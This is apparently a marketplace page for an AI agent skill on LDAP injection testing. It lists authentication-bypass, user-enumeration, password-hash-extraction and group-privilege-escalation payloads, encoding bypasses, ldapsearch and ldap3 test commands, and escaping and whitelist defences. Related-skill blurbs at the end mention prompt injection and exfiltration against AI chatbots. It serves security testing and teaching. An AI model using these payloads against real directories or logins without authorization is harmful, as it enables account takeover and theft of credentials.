一键导入
ldap-injection-testing
Professional skills and methodology for LDAP injection vulnerability testing
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Professional skills and methodology for LDAP injection vulnerability testing
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
| name | ldap-injection-testing |
| description | Professional skills and methodology for LDAP injection vulnerability testing |
AI LOAD INSTRUCTION: LDAP injection testing for applications that construct LDAP queries from user input. Covers authentication bypass (
*)(&, wildcard injection), information extraction (attribute enumeration), blind boolean extraction, encoding bypass, and privilege escalation via group membership injection. Targets include OpenLDAP, Active Directory, and 389 Directory. Base models often confuse LDAP injection with SQL injection — the filter syntax and exploitation techniques are fundamentally different.
LDAP injection is a vulnerability similar to SQL injection that exploits flaws in LDAP query string construction, potentially leading to information disclosure and permission bypass. This skill provides methods for detecting, exploiting, and defending against LDAP injection.
The application concatenates user input directly into LDAP query strings without sufficient validation and filtering, allowing attackers to modify query logic.
Dangerous code example:
String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
ldapContext.search(baseDN, filter, ...);
Basic queries:
(cn=John)
(objectClass=person)
(&(cn=John)(mail=john@example.com))
(|(cn=John)(cn=Jane))
(!(cn=John))
Characters that need escaping:
( ) - Parentheses* - Wildcard\ - Escape character/ - Path separatorNUL - Null character| Signal | Probe | Why |
|---|---|---|
Login with * as username? | Username=* Password=* → submit | Wildcard matches all entries = auth bypass |
*)(|(cn=* triggers change? | Inject into search/login field | Closes current filter, opens new OR branch |
| Error messages visible? | Submit *)(& and observe response | Error may reveal LDAP filter structure |
| Blind extraction possible? | Compare *)(cn=admin vs *)(cn=nonexistent | Response diff = boolean oracle for char-by-char extraction |
# Quick test: LDAP auth bypass
# Username: *)(|(&
# Password: *
# If logged in → LDAP injection confirmed
Common functionality:
Testing special characters:
*)(&
*)(|
*))(
*))%00
Testing logical operators:
*)(&(cn=*
*)(|(cn=*
*))(!(cn=*
Basic bypass:
Username: *)(&
Password: *
Query: (&(cn=*)(&)(userPassword=*))
More precise bypass:
Username: admin)(&(cn=admin
Password: *))
Query: (&(cn=admin)(&(cn=admin)(userPassword=*)))
Enumerate users:
*)(cn=*
*)(uid=*
*)(mail=*
Get attributes:
*)(|(cn=*)(userPassword=*
*)(|(objectClass=*)(cn=*
Method 1: Logic bypass
Input: *)(&
Query: (&(cn=*)(&)(userPassword=*))
Result: Matches all users
Method 2: Comment bypass
Input: admin)(&(cn=admin
Query: (&(cn=admin)(&(cn=admin)(userPassword=*)))
Method 3: Wildcard
Input: *)(|(cn=*)(userPassword=*
Query: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))
Enumerate all users:
Search: *)(cn=*
Result: Returns all cn attributes
Get password hashes:
Search: *)(|(cn=*)(userPassword=*
Result: Returns users and password hashes
Get sensitive attributes:
Search: *)(|(cn=*)(mail=*)(telephoneNumber=*
Result: Returns multiple sensitive attributes
Modify query logic:
Original: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
Injection: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
Result: May bypass permission checks
URL encoding:
*)(& → %2A%29%28%26
*)(| → %2A%29%28%7C
Unicode encoding:
* → \u002A
( → \u0028
) → \u0029
Using comments:
*)(&(cn=*
*)(|(cn=*
Using NULL bytes:
*))%00
Graphical LDAP client:
# Basic query
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"
# Test injection
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"
import ldap3
server = ldap3.Server('ldap://target.com')
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
user='cn=admin,dc=example,dc=com',
password='password')
# Test injection
filter_str = '*)(&'
conn.search('dc=example,dc=com', filter_str)
print(conn.entries)
Input validation
private static final String[] LDAP_ESCAPE_CHARS =
{"\\", "*", "(", ")", "\0", "/"};
public static String escapeLDAP(String input) {
if (input == null) {
return null;
}
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) {
sb.append("\\");
}
sb.append(c);
}
return sb.toString();
}
Parameterized queries
// Use LDAP API parameterized functionality
String filter = "(&(cn={0})(userPassword={1}))";
Object[] args = {escapedCN, escapedPassword};
// Build query using API
Whitelist validation
// Only allow specific characters
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
throw new IllegalArgumentException("Invalid input");
}
Least privilege
Error handling
LDAP search input point found (login, directory lookup, access control)?
├── LDAP special characters (*, (, ), \) cause error or behavior change?
│ ├── Authentication bypass possible (login form)?
│ │ ├── Logical bypass: *)(& with password *?
│ │ │ └── Confirm auth bypass — session granted without valid creds
│ │ └── Comment/precision bypass: admin)(&(cn=admin?
│ │ └── Confirm targeted auth bypass
│ ├── Information extraction possible (search/directory)?
│ │ ├── Wildcard enumeration: *)(cn=* returns all users?
│ │ │ └── Extract attributes: userPassword, mail, telephoneNumber
│ │ └── Attribute leak: *)(|(cn=*)(userPassword=*?
│ │ └── Confirm sensitive data disclosure
│ └── No visible data but response differs?
│ └── Blind boolean injection: compare *)(cn=admin vs *)(cn=nonexistent
│ └── Extract data character by character via boolean conditions
├── Special characters blocked?
│ └── Try encoding bypass: URL-encode, Unicode, NULL-byte (*))%00)
│ └── Any response difference?
│ └── Proceed with bypass-appropriate technique
└── No LDAP injection found?
└── Report not reproduced; verify LDAP sink and input flow
*, (, ), \, /, NUL byte — observe errors or behavior changes*)(& with password *, or admin)(&(cn=admin / *))*)(cn=*, *)(uid=*, *)(mail=**)(|(cn=*)(userPassword=*, *)(|(objectClass=*)(cn=* to leak attributes*)(cn=admin (positive) vs *)(cn=nonexistent (negative) and compare responsesuser)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user into group membership checks%2A%29%28%26), Unicode (*), and NULL-byte (*))%00) variants| Tool | Use Case |
|---|---|
http_framework_test | Send crafted HTTP requests with LDAP injection payloads (`*)( |
http_repeater | Replay and modify LDAP injection payloads to test authentication bypass, user enumeration, and attribute extraction across different input points |
nuclei_scan | Run LDAP-injection-specific Nuclei templates to automate detection of LDAP injection vulnerabilities in authentication and directory lookup endpoints |
api_fuzzer | Fuzz API parameters with LDAP injection strings to discover endpoints where user input reaches LDAP query construction |
Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gate
Automate low-impact web vulnerability verification through Burp MCP. Use when Codex is asked to check, reproduce, triage, or write evidence for vulnerabilities using Burp Suite proxy history, Repeater, Collaborator/OOB payloads, HTTP replay, parameter mutation, response diffing, or scanner issues. Also use for mini program/微信小程序 Burp history, wildcard domains like *.example.com, root-domain traffic reviews, arbitrary login/任意登录, session_key/sessionKey/sessionkey/session-key/session key/sess_key/sessKey/wxSessionKey/wx_session_key/wechatSessionKey/thirdSessionKey/decryptKey/openDataKey, jscode2Session/jscode2session/code2Session, openid/unionid, getPhoneNumber, encryptedData/iv, appSecret, or phone-login checks; in those cases enumerate all Hosts and search response bodies for WeChat session leaks before reporting no issue.
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, null origin, JSONP hijacking, preflight policy bugs, and browser-based access to authenticated APIs.
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.